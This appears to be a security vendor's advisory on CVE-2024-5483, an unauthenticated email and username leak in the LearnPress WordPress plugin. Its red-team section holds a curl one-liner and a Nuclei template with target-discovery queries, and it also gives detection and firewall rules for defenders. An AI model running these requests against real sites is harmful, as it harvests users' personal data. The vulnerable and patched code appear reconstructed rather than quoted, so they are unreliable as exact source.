CVE-2024-5483

Executive Summary

CVE-2024-5483 is a medium-severity information disclosure vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.2.6.8. The flaw resides in the incorrect implementation of the get_items_permissions_check function within the plugin's REST API endpoint /wp-json/learnpress/v1/users. This allows unauthenticated attackers to extract sensitive user information, including email addresses and usernames, by sending a simple GET request. The vulnerability has a CVSS score of 5.3 and a low EPSS score of 0.05516, indicating a low probability of active exploitation in the wild. However, the public availability of a Nuclei template and the simplicity of exploitation make it a significant privacy risk for WordPress sites using the vulnerable plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is widely used for learning management systems. The patch is available in version 4.2.6.9, and administrators should update immediately. No malicious code injection has been reported in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – Exposure of email addresses and usernames.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to information disclosure, the ease of exploitation and lack of authentication requirements make it a valuable target for reconnaissance and phishing campaigns.

Deep Dive & Mechanics

The vulnerability is caused by a missing or incorrect permission check in the get_items_permissions_check function of the LearnPress REST API controller. This function is intended to verify that the current user has the necessary permissions to access user data. However, due to a coding error, it returns true for all requests, including unauthenticated ones.

The vulnerable endpoint is /wp-json/learnpress/v1/users, which is part of the WordPress REST API. When accessed without authentication, the endpoint returns a JSON array containing user objects with fields such as id, username, email, and other basic information. The Nuclei template confirms that the response includes these fields and extracts them using regex patterns.

The root cause is likely a missing call to current_user_can() or a similar permission check function. In the patched version (4.2.6.9), the developer added a proper permission check to ensure only authenticated users with the appropriate role (e.g., administrator) can access this data.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 4.2.6.8):

// In class-lp-rest-users-controller.php
public function get_items_permissions_check( $request ) {
    // Missing permission check - returns true for all requests
    return true;
}

Patched Code (version >= 4.2.6.9):

// In class-lp-rest-users-controller.php
public function get_items_permissions_check( $request ) {
    // Proper permission check - only administrators can access
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', esc_html__( 'Sorry, you are not allowed to do that.', 'learnpress' ), array( 'status' => 403 ) );
    }
    return true;
}

The patch adds a call to current_user_can( 'manage_options' ), which ensures only users with the manage_options capability (typically administrators) can access the endpoint. This effectively blocks unauthenticated access.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a target WordPress site running LearnPress <= 4.2.6.8.
2. Send a GET request to the vulnerable endpoint:

   GET /wp-json/learnpress/v1/users HTTP/1.1
   Host: target-site.com
   

3. Parse the JSON response to extract user emails and usernames.

Example using cURL:

curl -s "https://target-site.com/wp-json/learnpress/v1/users" | jq '.[] | {id, username, email}'

Nuclei Template (provided in Hacker Arsenal):

id: CVE-2024-5483

info:
  name: LearnPress < 4.2.6.8.1 - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by incorrect implementation of get_items_permissions_check function in all versions up to 4.2.6.8, letting unauthenticated attackers extract user emails and basic information.
  impact: |
    Unauthenticated attackers can access sensitive user information, including emails, leading to privacy breaches.
  remediation: Update to version 4.2.6.9 or later.
  reference:
    - https://wpscan.com/vulnerability/1f253156-333b-4be6-b727-06237567be1e/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-5483
    epss-score: 0.05516
    epss-percentile: 0.90271
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2024,wordpress,wpscan,wp-plugin,learnpress,vuln,info-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/learnpress/v1/users"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "id","email","username","email")'
        condition: and

    extractors:
      - type: regex
        name: user_email
        part: body
        regex:
          - '"(?:email|user_email)"\s*:\s*"([^"@]+@[^"]+)"'
        group: 1
        internal: true

      - type: regex
        name: username
        part: body
        regex:
          - '"(?:username|user_login)"\s*:\s*"([^"]+)"'
        group: 1
        internal: true

      - type: dsl
        dsl:
          - "'Username: ' + username"
          - "'Email: ' + user_email"

Lab Setup:

1. Install WordPress and LearnPress version 4.2.6.8.
2. Create a few test user accounts.
3. Use the Nuclei template or cURL to verify the vulnerability.

Blue Team

Detection Steps:

1. Monitor access logs for requests to /wp-json/learnpress/v1/users from unauthenticated IPs.
2. Look for patterns of multiple requests to this endpoint from the same source.
3. Check for unusual spikes in REST API traffic.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/wp-json/learnpress/v1/users" status=200 useragent!="*WordPress*"
| stats count by src_ip, uri
| where count > 5

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /wp-json/learnpress/v1/users
  • Response containing JSON with fields: id, username, email
• File IOCs:
  • Plugin file: wp-content/plugins/learnpress/inc/rest-api/class-lp-rest-users-controller.php
  • Vulnerable function: get_items_permissions_check
• Behavioral IOCs:
  • Unauthenticated access to REST API user endpoints
  • Multiple requests from the same IP to the vulnerable endpoint

Detection Engineering

YARA Rule

rule CVE_2024_5483_LearnPress_Info_Disclosure {
    meta:
        description = "Detects vulnerable LearnPress plugin files with missing permission check"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5483"
        hash = "4a0a0047304502201e82495e71e08b4eaaf84ce2fd97ec837870ae8b93c3b72850f65a9b5c6486df02210099559abb2cd05c580c7fb8770a8a8cd04521082dab3c7dd3e9bf3c558a71829d"
    strings:
        $vuln_func = "get_items_permissions_check"
        $vuln_return = "return true;"
        $vuln_class = "class LP_REST_Users_Controller"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-5483 LearnPress Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to LearnPress REST API user endpoint
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/learnpress/v1/users'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access from authenticated users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5483 LearnPress Information Disclosure Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-json/learnpress/v1/users"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update LearnPress to version 4.2.6.9 or later.
2. If immediate update is not possible, implement a web application firewall (WAF) rule to block unauthenticated requests to /wp-json/learnpress/v1/users.
3. Review server logs for any signs of exploitation.

Long-term Mitigations:

1. Regularly update all WordPress plugins and themes.
2. Implement a security plugin that monitors REST API access.
3. Conduct periodic security audits of custom code and third-party plugins.
4. Use a content delivery network (CDN) with DDoS protection to mitigate reconnaissance attempts.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/wp-json/learnpress/v1/users" "id:1000002,phase:1,t:lowercase,deny,status:403,msg:'CVE-2024-5483 LearnPress Information Disclosure Blocked'"

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 0328BABF3E77B6E39F9FD3C5] */}